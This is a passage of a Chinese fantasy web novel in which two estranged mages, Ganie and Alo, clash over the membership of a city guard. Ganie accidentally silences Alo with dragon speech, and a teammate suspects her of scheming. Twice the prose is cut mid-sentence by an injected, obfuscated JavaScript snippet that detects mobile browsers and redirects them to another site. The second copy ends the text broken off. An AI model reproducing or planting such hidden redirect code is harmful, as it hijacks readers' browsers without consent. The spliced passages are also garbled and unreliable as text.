已经有几个队员用各种隐晦的方式向她示好。即便如此,闪闪发亮的金币还是没法买到所有队员的支持,对阿洛忠心耿耿的人不会坐视她独揽队内权力,总会做些反抗。 这都在她意料之中,也不值得她动气。无论阿洛今天是否在场,和他的又一场大吵难以避免,甚至让她斗志昂扬。 只是芬恩会冒着得罪她的风险承担这个任务,多少让她惊讶。 在迦涅的印象里,芬恩是个擅长活跃气氛的和事佬。 他乐意扮演傻瓜,经得起调侃。他走到哪里,哪里就会响起活泛的笑声。当初在甘泉镇,也是他主动开口调停她和阿洛见面后的第一波争执。 或许她该改写内心对芬恩·富勒的评语。 芬恩心思被戳穿了也不窘迫,仍旧和和气气地辩解:“我只是觉得,队长和副队长都到场的话,会更加正式一点……” “只要我在就足够正式了。” 芬恩闻言尴尬地摸了摸鼻子,活络的眼睛又往挂钟上瞅。 迦涅见状直接笑了,向椅背上一靠:“他让你拖到几点?要不要我也和你一起等他?” 芬恩还没作答,会议室的门砰地打开了。 迦涅侧眸望去。 阿洛手臂撑住门框,站在原地喘气。他很快调匀呼吸抬起头,露出过分灿烂的笑容:“不好意思,我迟到了几分钟。” 语毕,他拉开迦涅身侧的椅子,坦然自若地在她旁边坐下了。 18.断点-2 阿洛的态度过于自然了。 就好像他们两个共同面试原本就是既定事项,他真的只是不幸迟到了那么几分钟。 迦涅侧眸睨了他一眼,黑发青年还没来得及和她虚情假意地问好,她就已经重新转向前方。 她目不斜视,就好像房间里不存在第三个人,自顾自对芬恩说:“那么我们现在开始吧,富勒先生。” 芬恩有些无措,含糊地应了一声,看向阿洛。 阿洛扬起眉毛,一副不明白下属为何要看他的样子。 她用余光瞥见他的反应,在心里嗤笑:不就是装样子,谁不会装?再说了,他真当她会摆冰山脸欺负他的宝贝队员? 她翻了翻手边的羊皮纸,微笑着开口:“两年前,银斗篷到你的家乡回收漂流物,你提供了协助,而后接受邀请加入他们。在那之前,你没有系统性地学习过魔法,却零散积累起了许多领域的实用魔法知识。现在你依然更擅长魔法的实践应用,而不是理论,是这样吗?” 芬恩点了点头,双手规矩地撑在膝盖上,难得有些紧张:“是的。我爸爸在我懂事前就去世了,妈妈在我很小的时候得了病,我要打零工帮忙养家,没能参加金隼学院的学徒选拔。” 回想起这遗憾往事,他笑了笑:“当然,就算我那时候去选、而且被选上了,我也没法去上学的。我走了家里就没人管了。” 谈论起家境的困苦,芬恩态度坦荡,既无卑怯,也没有虚张声势遮掩。这点倒是和阿洛有些相近。或许这也是芬恩得到重用的原因。 迦涅差点侧头去看阿洛,硬生生忍住了。 芬恩显然很习惯因为出身背景被正统法师看轻,熟练地补充:“但现在我一直在努力补习魔法理论,经常向艾尔玛他们请教。” 迦涅点了点头,脸上没什么表示。 仿佛要嘲笑阿洛心胸狭隘,证明他特意赶过来坐镇只是多此一举,她接下来完全没有刁难芬恩,反而认真询问了许多,处处透出她对芬恩履历的熟悉: 此前参与过哪些与异界漂流物相关的行动?有没有找到想更加深入钻研的领域?或者有什么新的感兴趣的方向?认为自己在新的十三塔卫队中适合什么位置?之前他自封的秘书官还有兴趣吗?…… 从芬恩银斗篷时期的经历,到现在在千塔城的生活状况,还有对于未来的期望,乃至于拿他自封秘书官的事情打趣,方方面面,迦涅一个没漏下。 即便是阿洛,也很难从这些问题里挑剔出什么险恶用心。 “很高兴和你聊了很多,富勒先生。”迦涅敲了敲桌面,会议室门就自动打开了。 芬恩顶着迦涅友好微笑的强大攻势,懵懵地站起来,向队长和副队长点头致意,带着显而易见的疑惑往外走: 这真的是正经面谈?竟然不是走过场,草草打发掉阿洛的支持者? 厚重的木门在芬恩身后阖上,会议室里顿时只剩下迦涅和阿洛。 迦涅吸了口气,侧首迎上阿洛的注视。 她维持到现在的友善表情瞬间垮了下来。 距离两人上次见面已经有整整三天。但也仅仅过了三天。 这点时间根本不够忘记上次争吵的细节。只是对视,雨夜失修宅邸中互相指责的回忆便即刻复苏。不愉快的收场、分别前迦涅抛下的狠话,清晰得仿佛就在昨日。 “我不记得有邀请过你。”迦涅冷冰冰地道。她不想盯着对方的脸看,视线于是下移。 刚才没来得及留意的细节顿时进入眼中: 阿洛的法师长袍一如既往敞着,衬衣领口纽扣却扣错了一个。 他的衣襟于是不伦不类地揪出了一团鼓包——完全就是睡梦中突然得到消息,还没清醒过来就随便套了身衣服,匆匆赶来的模样。 早晨九点多还在睡大觉……这家伙现在竟然那么懒散了?迦涅有些嫌弃地皱眉。哦,不过他还算个伤员。 阿洛顺着她的视线往衣襟看,表情僵了一瞬。 他很快调整好神态,淡然自若地去解纽扣,让那两个衬衫扣子去它们该去的位置,口中则说着和动作不相干的正事:“我对所有人都还算了解,如果你和他们聊过之后还有疑问,有我在场会更合适。” 迦涅还以为他会一上来就全盘否决她的计划。对方却态度平静、甚至称得上谦和,她不由讶然盯他一眼。 阿洛正在扣第三粒纽扣,敞着的衣襟间分明的肌理轮廓线一闪而逝。 迦涅愣了一下,毫无来由地回想起来,生长期的阿洛抽条太快,以致于他有阵看上去像消瘦的树桩,长长的一条在人群里极度醒目。有次不小心撞到他身上的时候,她的额头隐约磕碰到他胸口的骨架,双方都是立刻龇牙咧嘴。 哪怕从身体构造上讲,眼前的青年也已经和她记忆里的少年人完全不一样了。像是两种生物。 这么一怔愣,迦涅就忘了错开视线。 阿洛确认完自己这次没扣错钮扣,抬眸与她恰好对上。他诧异地扬起眉毛,快速游移的绿眼珠随后泄露懊恼,原本到嘴边的话也忘了。 礼节上来说她不应该盯着陌生人整理衣物。但事已至此,这个时候再突然别开脸,那就太刻意了。而且她也没看到什么。 真要说失礼,那也是大喇喇地直接在她边上解衣扣的阿洛更加失礼,失礼在先! 迦涅飞快地说服了自己,脸上表情没有任何变化,淡淡地说:“我会自己做判断。” 阿洛目光闪了闪,也一副无事发生的样子:“那么,对芬恩你怎么看?” 她干脆地摇头:“他不够格。” 两人间若有似无悬着的那缕潮湿空气顿时冻住。 阿洛寒着脸为芬恩辩护:“回收漂流物看重的是经验而非理论。他看事情的角度也很有意思,不会被魔法学府的条条框框困住。” 他顿了顿,放缓的声调透出指责的意味。 “而且你也应该知道,他相当于我的助手。” 迦涅不为所动:“芬恩·富勒的问题不在于背景。即便论在银斗篷的资历,也排不到前几名。对比千塔城其他卫队成员的平均水准,他差太多了。如果你想要留他使唤,副队长可以聘请编外人员为私人助理,薪酬自理。” 阿洛单手撑在桌子上,支着额角侧过身端详她,哈地一声笑:“看来你已经打定主意要让他滚蛋。那么请问尊敬的队长阁下,你这次打算清退多少人?” “三分之一吧。” 阿洛看着她没说话,脸上写着‘你开玩笑吧’。 迦涅任由他打量,悠闲地拿着羽毛笔在手里把玩。 原来的银斗篷成员虽然确实或多或少有出挑的地方,却绝非不可替代的逸才。如果她真的打算好好经营十三塔卫队,现在近五十人的规模大可以直接砍掉一半,她向来主张少而精。 但她的真实目的在于挤兑阿洛,用最快最稳妥的方式向古典学派的那几位贤者展示她的诚意,以便尽快接受考验晋升魔导师。所以她没必要太费力气。 “不,不会那么简单。”阿洛忽然说道。 迦涅下意识确认自己身上防御读心术的护符还在。 对方眯了眯眼睛,不急不缓地推理:“三分之一应该是你预留好空间的价位。我猜你打算先否决掉三分之一的人,等面谈结束,把消息散播出去,让所有人慌乱起来。然后再‘适时让步’,留下其中的一部分人。” “最后,你不仅成功赶走原本就打算赶走的小部分人,还营造出妥协的假象,卖一波人情,又好对大人物交代,”他笑了声,啪啪为她鼓掌,“不愧是大小姐,好周全的计划。” “随你怎么猜。”迦涅面不改色。 阿洛确实猜中了她的策略。但完全没关系。 保密原本就并非她达成目的的前提。再说了,他明知道她要做什么却没法阻止,难道不是更好吗? 阿洛一推桌子站起来,椅子在地面摩擦,发出刺耳的哀鸣。 他徐缓却用力的吐字压抑着蓬勃的怒意:“我招揽的每个银斗篷成员都有充足的理由留下。你有怨气就冲我来,不要把他们也牵扯进来。” 迦涅抬头看着阿洛,微微一笑:“现在才说这种漂亮话,你不觉得太晚了吗?” 从她代表古典学派接受议事会的委任,他做出布置应对她空降的那一刻开始,他们之间就绝不可能是纯粹的私怨。十三塔卫队是他们过招的场地,卫队成员又怎么可能始终置身事外? 阿洛哑然看了她好几秒,好像也察觉了她今天的态度格外冰冷坚硬。他深吸一口气:“开条件吧。要我怎么做,你才会放过现在的十三塔卫队?” 很好,就是这样,迦涅想。对话的走向在她的把握中。无论阿洛说什么怎么做,这一次她都绝不会放任情绪失控。 于是她以清脆却也冷淡的声调回答: “第一,放弃十三塔卫队; “第二,离开千塔城,除非受邀请不再踏入城中一步; “第三,十年内不以你的名义发表任何著述。” 迦涅每说出一个条件,阿洛的脸色就愈加苍白。 离开千塔城对于任何一个法师来说,都是个残忍的要求。毕竟对不少人来说,仅仅是从家乡走到这座塔楼林立的古都,就花了不知多少精力和年月。 而十年对法师来说或许不那么漫长,但也足够让一代新星变为旧闻,甚至彻底被遗忘。 迦涅就像没看到阿洛的神色,淡然无波地总结:“做到这三点,奥西尼家就当不曾有过你这个学徒,十年期满,你之后做什么都和我们没有任何关系。至于十三塔卫队,在合适的时机,会有合适的人选接手,在那之前,我会以正常态度对待它。” 阿洛的身体因为愤怒到极致而打了个寒颤。他过了好几秒,才低哑地问:“你真的觉得我可能同意这种条件?” 迦涅的金瞳动了动,表情却没有任何变化:“接受与不接受是你的事。你想知道我们的条件,我代表奥西尼家回答了,仅此而已。” “我们,代表奥西尼家……”阿洛嘲弄地轻声重复,“这是你的新策略吗?缩到姓氏后面,一张口就只有立场。我以为你明白的,立场不是一切。” “立场不是一切,但能决定大多数事。” “包括为你我的关系定性?” 迦涅露出“不然呢”的神情。 阿洛抿唇,难以启齿地停顿了须臾。再开口时他的声音变得轻而飘忽,好像这时候打开窗户,涌进室内的微风就会将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12985918|134885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它吹散。 他低声念:“好,你做什么都是为了奥西尼这个姓氏,你有苦衷,你有要背负的,我可以理解。但我以为再怎么争吵,你和我一样,还是珍惜这段关系的。” 迦涅终于不再维持冷淡的假面,笑了出来:“没见面就开始架空我这个队长,拒绝为五年前的事道歉,还认定我是出卖你的叛徒。你对珍惜的定义很有意思。” 阿洛僵硬地闭了闭眼。 有一瞬间,他显得懊恼乃至于说后悔。 “你和我断绝联系太久,突然空降队长位置,事先没有给我一点心理准备。我以为那是直接宣战的意思,所以做出应对。是我想得太草率,应该先和你见面再决定怎么行动。现在我愿意和你合作,这是真心的。” 他重新摆正刚才推搡到边上的椅子,落座后身体略微前倾,盯着她的眼睛,诚恳的表情有一丝难堪的僵硬: “告密的事……我也缺少更有力的证据。那种事确实不是你的作风,我道歉,我错怪你了。” 迦涅一眨不眨地望着他,仍旧保持沉默。 阿洛从身体到表情的僵硬愈发明显,他的绿眼睛无措地闪动起来。隔了好几拍,他试探性地补充:“对不起……?” 迦涅失笑,也确实笑出声了。 她柔和的低笑刺中了他。 黑发青年一下子坐直了,紧绷的身体进入蓄势待发的反击态势,随时会从椅子上弹起来。 “你好像真的以为我只是在为你冤枉我而生气。不是那样的,阿洛。”迦涅温和、甚至称得上和气地说道。 她都有些惊异于自己的平静。 回到千塔城这短短十天里,不算今天,她和阿洛已经爆发了三次冲突。每一次都是不同的导火索,每次都会挖掘出新的罪状和指控。 但每一次的争吵焦点、乃至矛盾爆发的节奏都似曾相识。 乌里的提醒固然促使她下定决心,但在那之前,反复的争执已经让她疲倦。 “你针对我、你怀疑我出卖你的事其实都根本没有那么重要,”迦涅用力地一摇头,好像这么做就能甩脱包裹他们的胶着气氛,“哪怕我接受你的道歉,我给出的条件也不会有任何改变。” 有那么片刻,阿洛脸上一片空白。 随即,他的绿眼睛近乎绝望地闪烁起来: “我理解你有身为继承人要坚持的立场,那么这样,队长由你来做。你要裁掉队员,可以,但我要保留出资留他们下来的权利。如果你觉得还是不够,那么贤者塔可以收回所有资金援助,像以前一样放任我们自生自灭。养活他们我来想办法。 “卫队不会在千塔城宣扬门和漂流物的知识,低调做事,尽可能不触及古典学派的诸多禁忌。这点我也可以保证。 “直到你晋升魔导师为止,我会尽量避免在千塔城公开露面。如果你需要,之后十年,二十年,奥西尼家出现的场合我都会避开。” 相比之前,阿洛的这番提议已经多有让步。 但迦涅轻而坚定地回绝:“我已经把条件说得很清楚,不用再多,但不能少哪怕一点。” 只是那么一句话,就彻底击碎了残存的假象——或许还有谈判的余地。 阿洛腾地起身面朝窗外。再继续看着她似乎让他难以忍受。 他花了点时间才找回自己的声音。 他向来能说会道,说话时情绪丰富且有感染力。然而现在,他吐出的每个词、每个音节里的怒气和期待都一下子抽空了,只剩下麻木的平静。 “我以为只要双方愿意坐下来好好谈,过去的对错没有那么重要。但是你好像并不这么看。 “无论前因后果如何,我五年前离开了奥西尼家,成了你嘴里的变节者,就因为这点,除非我否定自己当初的选择,为此祈求你、你那尊贵家族的谅解,你就绝不可能与我和解。 “是这个意思吗?” 迦涅骤然迫切需要深吸气,但她没有。 她维持着淡然的态度:“再次见面的第一天我就说得很清楚。我和你是敌人。” 阿洛回想了一下,轻轻笑:“好像是有那么一回事。” 他调转回视线仔细打量她,就好像这是他第一次看清她现在长什么样子。 也是在这个瞬间,迦涅意识到在此之前,他看着她的时候,眼睛里或许始终同时倒映出过往的虚影。 但也到此刻为止。 他一直比她更重感情,但在自尊心这件事上,他们向来不相上下。 阿洛眨了一下眼睛。他看着她的眼神、他的表情随之发生些微而决定性的变化。他念出似曾相识的句子:“我姑且提醒你一句,我也喜欢对敌人了如指掌。” 在甘泉镇美人鱼酒馆的吧台边,伴着麦酒苦涩的余味,她用相近的话语定性他于她现在的意义。而现在,他也以这种方式正式宣告: 他们的关系彻底地、难以转圜地滑向了更恶劣的境地。 他终于也认可她这个‘敌人’。 迦涅不知怎么,反而由衷地松了口气。有如陈年创口撕裂的痛快中竟然夹杂着一丝异质的兴奋。她于是又对他笑了笑,这次真心实意: “好极了。总算有一件事是我和你意见完全相同的了。” 19.断点-3 迦涅勾掉名单上的又一个名字。今天上午安排的面谈就此全部结束。 她起身,指腹同时按在桌面上一划,摊开的羊皮纸就都飞进了她的法袍衣袖。 “你要去哪?” 迦涅循声看向长桌尽头。 早晨狂风骤雨般的那场争执过后,阿洛就坐到了整间会议室离她最远的地方。队长副队长联合面试的表象随之消失,他更像专门来监听的。 每个来面谈的卫队成员都免不了多看他几眼,神色各异。 此时此刻,阿洛像被抽掉了浑身的骨头,懒洋洋地歪在高背扶手椅里,但又维持着奇妙的平衡,没有彻底瘫成一团坐垫。不如说,他显得自在极了,就差把两条腿也架到桌子上。 他这松垮而嚣张的坐姿让迦涅额角跳了一下。 她十分确定这家伙是故意的。他知道她难以容忍不挑场合的粗鲁。 迦涅就当没看到,冷淡地回答:“午餐。” 阿洛眨眨眼,这才想起还有进食这回事。如果没人提醒,他经常会忘记吃饭。以前迦涅就拿这件事埋汰过他,他锤炼自己的躯体仿佛只是为了增加饿死的难度。 这些琐碎的回忆现在只让迦涅恼火。她直接将这股情绪发作出去:“在我用餐的时候,你不妨去和心腹们开个紧急会议,商量之后该怎么办。” “好主意,”阿洛怪声怪气地回答,“放心,我不会让你的计划那么顺利的。” 她耸耸肩:“那你加油。” 阿洛一噎,迦涅满意地转身出去了。 化愤怒为食欲,她中午比平时多吃了半份三明治,餐后提神的福灵果冲剂也破例来了两杯。 而沙亚阁下加油的结果就是,下午原本该来面谈的队员过半临时请假,无法按照原定计划到场,请假的理由从伴侣突然生病到被飞马翅膀刮伤鼻梁都有,五花八门。 “比起这招,你不如兑现之前的威胁,带着你所有的宝贝要员出走千塔城,再建立一个十四塔卫队给我看,”迦涅慢条斯理地将请假的队员圈出来,头也没抬,“当然,等你如愿当上队长的那天,我肯定已经是魔导师了。” “那可说不准。”阿洛的声音从桌子另一边飘过来。 迦涅冷冷看向他。 “你应该不至于忘了吧,哪怕拥有古老又强大的家族魔法传承,你也不会理所当然地晋升魔导师。” 她已经猜出阿洛想说什么,绷紧了唇线。 阿洛清了清嗓子,用朗读般的声调背诵起了十二贤者议事会颁布的章程:“每位魔导师都必须拥有独属于自己的魔法。独属于自己的定义较为宽泛,包括并且不限于全新创造的魔法、以及对古老传承做的深刻解读。 “晋升考察由在世的全体贤者和魔导师参与,过半考察者意见必须达成一致,认可候选者的魔法独特、有价值、并且可以复现,候选人才能晋升格位,成为魔导师。” 阿洛适时稍作停顿,笑眯眯地问:“所以,你找到自己的魔法了吗?” 迦涅面无表情:“还在完善。” 他惊讶地坐直了,而后失笑:“也对,如果已经完全准备好晋升魔导师,你怎么会藏着掖着,千塔城所有人都肯定会听说,传火女士保佑,奥西尼家的大小姐那么年轻就有了大突破!” 她有些牙痒,强忍住没反驳。 阿洛却没就此打住:“众所周知,黑礁是研习精进魔法的圣地,你在那里待了整整三年,却好像依然没有找到头绪。我真的很好奇,那三年里你都干了什么?” 阿洛等待了片刻,迦涅不搭理他,只是低头阅读已经看得烂熟的队员档案。 她隐忍着不申辩实在是罕见的大事件。 他眯了眯眼睛,故意叹气:“话说回来,你准备晋升的进度真的没问题吗?还、在、完、善?怎么听起来那么像其实还没开始准备的委婉说法……” 正式降级为‘敌人’之后,阿洛的态度确实有了鲜明的改变。之前他只会在情绪失控的时候戳她的痛处。现在他显然完全没有了顾虑。 他之前那副鬼态度竟然真的还算是有所收敛。 一旦意识到这件事,迦涅只有愈发火大。 她抓着羽毛笔的动作简直像握着小刀。她默念着要在这件事上忍耐,笔尖却控制不住,噗地穿透厚实的羊皮纸。 房间里好像安静了一瞬。 她没抬头,冷冷回道:“我为什么要向敌人透露这种关键信息?” “我担心啊,”阿洛‘无比诚恳’地回道,在关键词语上拉长声调,“因为以现在这个势头,你想比我更快晋升魔导师的话,似乎有那——么一点困难。” 咔。 迦涅手中的羽毛笔管从中断成两截。 她嚯地抬头,瞪视阿洛的澄黄双眼明亮得像在燃烧,浅淡的虹膜愈发凸显出收缩的瞳仁,宛若猎食者逼视领地的入侵者,有种非人的冰冷。 她的嘴唇快速开阖,吐出的不是人类的词句,而是令空气震颤、尖锐又高亢的嘶喝。 龙语。 仿佛直抵身体内部的厉喝让阿洛的思绪有须臾停滞。慢了半拍,他才调动算不上充盈的龙语词汇量,辨析出迦涅对他吼了什么。 龙语词典给出的庄重释义一般是“肃静,让无声降临”,但龙语其实是相当直白的语言。这个短句根本上传达的讯息也简单粗暴至极: ——闭嘴! 阿洛张口想调侃两句,蓦地一僵。 躯体异样的感受无法忽视:他的唇舌已经处在发声的位置,但他半个音节都没吐出来。确切说,是他用身体、用魔导师的直觉清晰感觉到,出声这个概念在他身上消失了。 即便拥有发出声音的生理构造和意愿,他也没法‘张嘴’说出哪怕一个词。 龙在神话生物中也地位特殊,它们的语言原本就是为了引发魔法现象而存在的。龙魔法中最为著名的一支当属空想魔法,本质上就是依靠龙语的力量修改各种概念,让不可思议的事降临现实。 比如雷光闪动的长枪,比如针对某一个人的强制寂静。 身负龙魔法传承的法师会与龙语产生魔法共鸣,一句怒喝的效果就堪比最强力的缄默咒。 迦涅比阿洛更快意识到发生了什么。她紧抿嘴唇,压抑住濒临爆发的慌乱无措。 刚才这一声吼是本能反应,并非迦涅有意。但事情已经发生,魔力也无意中消耗了出去。以他们现在的敌对关系,哪怕她解释真的是意外,阿洛大概也不会相信。 迦涅的胸口好像憋了口气。< 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她也跟着看向他藏着各种古怪宝贝的储物袋,淡然道:“要打吗?我们上次的决斗还没结束。但你的伤应该还没好透,现在赢了你也没意思。” 阿洛闻言嗤笑,下意识要抬杠,张嘴才想起再绝妙的讽刺都说不出来。羞恼的赤红从他的的脸颊蔓延到眼下,他的嘴唇就再次紧紧闭上了。 他索性不再看她,在身上翻找了一阵,桌子上多了几瓶颜色可疑的药水。 迦涅看着阿洛一瓶接一瓶地喝下用途不明的药剂,也见证了他每喝完一瓶之后,脸色就愈发难看几分。 龙语的概念束缚怎么可能是几瓶药水能解除的?阿洛肯定也明白这个道理。 但他总是要负隅顽抗到最后,用尽所有能用的手段,反正就是不愿意认输。 迦涅欣赏着阿洛挣扎变幻的精彩表情,久违地身心舒畅。但这份畅快也只持续了片刻。无法解释的恼火化作一只小兽,从内慢慢地啃噬起她的好心情。 用这种手段让阿洛吃瘪——哪怕只是个意外,依旧并不值得庆贺。 她不喜欢痛打手无寸铁的敌人。而奥西尼一族与龙语的共鸣,几乎无法防御。 不论心里怎么想,迦涅表现得依旧强硬:“不要担心,龙语的效果过个几天就自然消退了。实在需要表达自我的时候,你还有手能写字,不是吗?” 阿洛长长地吸了一口气,强压下所有失态的迹象,转身往门口走。到了门边他又止步,指尖在空气中勾画,蝴蝶鳞粉般细碎的光屑抖落,组成一个短句,飞到迦涅面前: ——多谢提醒。 “不用谢。”迦涅抱臂看着他的背影,脸上的笑容缓慢地向下垮塌。 下一刻,她更加用力地嗤笑出声,下战书似地提议: “换个角度想,这是个多好的卖惨的机会。你应该立刻到外面逛一圈,这样天黑之前,大家就都肯定知道我欺负你了。” 砰。 门开启又重重关上了。 迦涅俯身,从羊皮纸上扯了一块下来,给远在流岩城的兄长写了个便条: ——贾斯珀,我又轻微失控了,后果不严重,但保险起见,这个月我会回家一趟。 20.重构-1 迦涅拾阶而上,还没到二楼,她就听到了芬恩·富勒的声音: “把这些东西都搬过来真的会有用吗?她看起来不像是会被轻易说服的样子……” 没有应答声。 芬恩却又开口了:“这下你的办公室一下变小了好多啊。” 不知情的人大概会以为芬恩有自言自语的怪癖。迦涅越过走廊楼梯拐角,一眼就看见开着门的副队长办公室,房间里的人也看见了她: 桌子上地上全都是木质档案箱子,娃娃脸芬恩手里还抱着一个箱子,看到迦涅过来,他尴尬地叫了一声“队长”,而后就紧紧闭上了嘴巴。 阿洛站在书桌边,听到芬恩唤迦涅依旧头也没抬,继续在某个箱子里翻找东西。 迦涅在心里翻了个白眼,也当没看见他,转身用黄铜钥匙打开自己的办公室房门。 阿洛意外失去说话能力已经是三天前的事,龙语的缄默效果仍然没有解除。 当事人并不避讳这件事,却也不做额外的解释。于是整个十三塔卫队、间接等于关注卫队的所有人都知道两件事: 首先,阿洛和迦涅在同一间房间里单独待了一段时间。 其次,离开那间房间之后,他就没有再开口说过一句话。 最开始许多人以为阿洛在沉默示威,抗议迦涅的人事肃清计划。但当他沉默整整两天后,与他有接触的人逐渐察觉异常。 没有证据可以确凿表明阿洛的沉寂和迦涅有关。但越是这样,就越有想象力填补的空间。 原本对迦涅态度略有好转的队员,比如艾尔玛·索博尔,在据点碰见迦涅的时候又开始躲躲闪闪了。请假还有直接拒绝前来参加面谈的卫队成员又多了一大串。 而这三天内,阿洛也没有再和迦涅有过任何交流。 无论是眼神还是书面上的。 迦涅并不怎么在意这些变化。 之前她被阿洛带跑思路,时不时忘记十三塔卫队于她只是一级踏板、一个终将抛在身后的中转驿站,不知不觉就遵循习惯,认真地对待肩头的每一份责任。 但现在,她已经下定决心要驱逐阿洛。 他的退场终于能洗刷掉奥西尼这个姓氏上难堪的污点,换来她在古典学派内部的尊重和影响力。也只有那样,她这个奥西尼家的继承人才算正式在族内站稳了。 不做到那个地步,她不觉得自己有与谋害母亲的凶手博弈的资格——遭到暗算的可是家主伊利斯·奥西尼。 迦涅在母亲面前不会盲目自卑,但也不会天真到以为自己已经超越了鼎盛时期的流岩城主人。在寻找凶手这件事上,怎么小心都不会太过分。 也正因为她这个队长‘动机不纯’,一部分人的支持迦涅自知注定争取不到。她确实和阿洛的支持者们没有深仇大恨,但不直接驱逐他们离开已经是她的极限。 同时,迦涅还以另一种方式表明态度: 第一波面谈后获得正式队员资格的人已经收到首笔薪水。 在乌里的推动下,十二贤者议事会慷慨地增加了第一笔拨款数额,迦涅于是给每个人额外预支了两个月的钱,方便他们解决困扰已久的生活难题—— 比如改租一间更舒适的住处,或是购置眼馋已久的装备。 相比起花言巧语,迦涅更喜欢用实际行动证明:向她效忠的人都会获得丰厚回报。 这种状况下依然坚持要跳上阿洛这艘沉船的人,她不会阻止。对于他们在她看不见听不见的地方,会怎么评论她‘欺压’阿洛,她也根本无所谓。 她与阿洛公然不合倒是带来了一些意外的小插曲。 迦涅早晨在贤者塔附近和两位古典学派的前辈见面,穿过近旁的迷宫花园时,她可谓是万众瞩目。 阿洛失声的事情已经传开,大概只有极少数人认为那和她无关。而在不少法师眼里,她好像做了件了不得的好事。 转过头低声议论的、冷冷打量她的人固然不少,毕竟现在主张革新的法师在千塔城不再畏首畏尾。但迦涅只在花园里走了没多久,就有许许多多她认识的、不认识的法师主动停下来,和她友好寒暄。 迦涅几天前来这里的时候,还没有这英雄般的待遇。 她不禁怀疑在千塔城,数量相当可观的一群人长久地抱持同一个愿望: 希望阿洛·沙亚能闭嘴。 而她不小心替他们暂时性实现了愿望。 至今没有人公开质疑十三塔队内是否有私斗的嫌疑,更没有人要追究迦涅的责任。这反而让她的心情微妙起来。 阿洛知道他那么惹人厌么?迦涅随手翻看送到她桌上的信件,余光往走廊对侧一瞟。 对面办公室里的两个人还在整理那一大堆箱子。主要是芬恩施浮空术移动,阿洛偶尔用手势或者眼神让他变换布局。 至于箱子里是什么东西,迦涅早就从别的渠道知道了。 某位正式队员上午就送便条,报告了阿洛的新动作:他差人把之前堆在家里的未处理漂流物线索全都运到了据点。他还鼓励队员们行动起来,赶工递交之前挤压着没写的线索报告。 总而言之,阿洛力求在短时间内积攒大量待处理的案件,以庞大的数量证明,维持十三塔卫队现有人数十分必要。 不仅如此,迦涅猜想,阿洛某些在报刊杂志的朋友这几天就会发表这方面的评论文章。 即便是十二贤者议事会内部,也有少数几位偏向乃至支持他的贤者,否则当初卫队就不会成立。而有了漂流物数量庞大这个由头,向迦涅施压就简单多了。 哧。 拆信刀挑开火漆封印,划过信封边缘,迦涅展开信纸。快速阅读,‘新队员’‘加入’‘是他们的荣幸’等词组跃入眼帘,她满意地勾起唇角。 她当然已经提前准备好了下一招——招揽全新的队员。 只要证明凭借少数精锐,她统领的卫队一样能回收漂流物,阿洛的计划就行不通。派不上用处、整天惹麻烦的副队长当吉祥物当得受不了的那天,大概就会识趣地离开。 走廊对侧的办公室,芬恩偶然侧眸,恰好看到迦涅露出微笑的那一瞬。 他打了个寒颤。 阿洛放下一卷羊皮纸,给他一个疑惑的眼神。 芬恩又看了眼走廊对面,从箱子与箱子的缝隙里扒拉出一块石板,手按在边缘。这是阿洛以前随手制作的小发明,现在成了他必要时和他人交流的工具。 随着芬恩注入魔力,飘浮在石板表面的颜料变幻形状,化作字句: ——奥西尼小姐刚才笑得好可怕! 石板凑到阿洛面前,他扫了眼,牵起嘴角,头微微动了一下就定格。 数拍停顿,他最后还是将视线调转回手头的纸卷上,没转头去察看迦涅那里的动静。 芬恩的表达欲旺盛,石板上很快浮现一大段新字迹: ——在千塔城私斗按理都要受罚,她这应该算用魔法蓄意伤人了吧?就因为是尊贵的家族继承人,故意伤人之后也不用付出代价,千塔城的律法就就是个笑话! 阿洛耸了耸肩,不置可否,笑笑地将颜料变幻为想要的字母形状: ——你之前对她的态度还相当尊敬。转变那么大? ——我之前没想到她是这样的人。她甚至不愿意对你当众道歉! 芬恩平时一直笑嘻嘻的,难得收敛起笑容满脸认真。不等阿洛作答,他又提议: ——我们可以联名请愿,逼议事会给个说法。现在你施法都不方便,万一一直不恢复呢? ——告到贤者塔也没用。毕竟她不是有意的,找不出蓄意的证据,闹大了只会自取其辱。 芬恩一脸‘你怎么能确定她不是有意的?’。 阿洛叹了口气: ——她要是真想伤人,就不会只有没法说话那么简单了。 芬恩显然回忆起了迦涅摧毁塔楼的雷霆一击,扁了扁嘴,却没完全被说服: ——你真的准备就这么算了?上次的意外也根本不是意外,她肯定早就想要杀你。说不定这次她也早有预谋,让你没法咏唱只是计划的第一步。 阿洛诧异地抬起眉毛。 ——前几天我到你家探病,就是被你拦在大门外的那次,我去的路上在街角看到了一个人。雨下得很大,我只看到背影,但那个人头发颜色和身形和迦涅·奥西尼很像。 阿洛唇角动了动,看向了别处,石板上的颜料化作坚定的一行: ——大概是你看错了。 ——那个时候我也以为是看错了。但现在想想,说不定那个时候她就在勘探地形,想要趁你受伤寻找破绽袭击你。 石板上的颜料迟疑地凝成斑驳的一滩,正如阿洛的思绪。他因为芬恩的联想能力太过丰富,一时之间不知道如何回应。 芬恩点了点头,自觉这下线索都连上了:如果不是这样的话,迦涅·奥西尼为什么会在那个时候出现在阿洛家附近? ——她不可能好心到去探望你,你也不会让她进家门啊。 阿洛额角一跳,陷入了更深的沉默。 那个气氛短暂地相当缓和的雨夜如今回忆起来,竟然像是一个世纪前的旧事。 芬恩再三确定迦涅没有突然起身过来的意思,小心翼翼地、带了点不自觉的同情问:我之前没敢问过你,在奥西尼家的时候,她是不是就经常这么明里暗里打压你拿你练手? 阿洛失笑。 事实即便落笔写出来大概也只会显得荒谬: 非但没有。他被孤立欺凌的时候,迦涅·奥西尼还是第一个站出来阻止的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 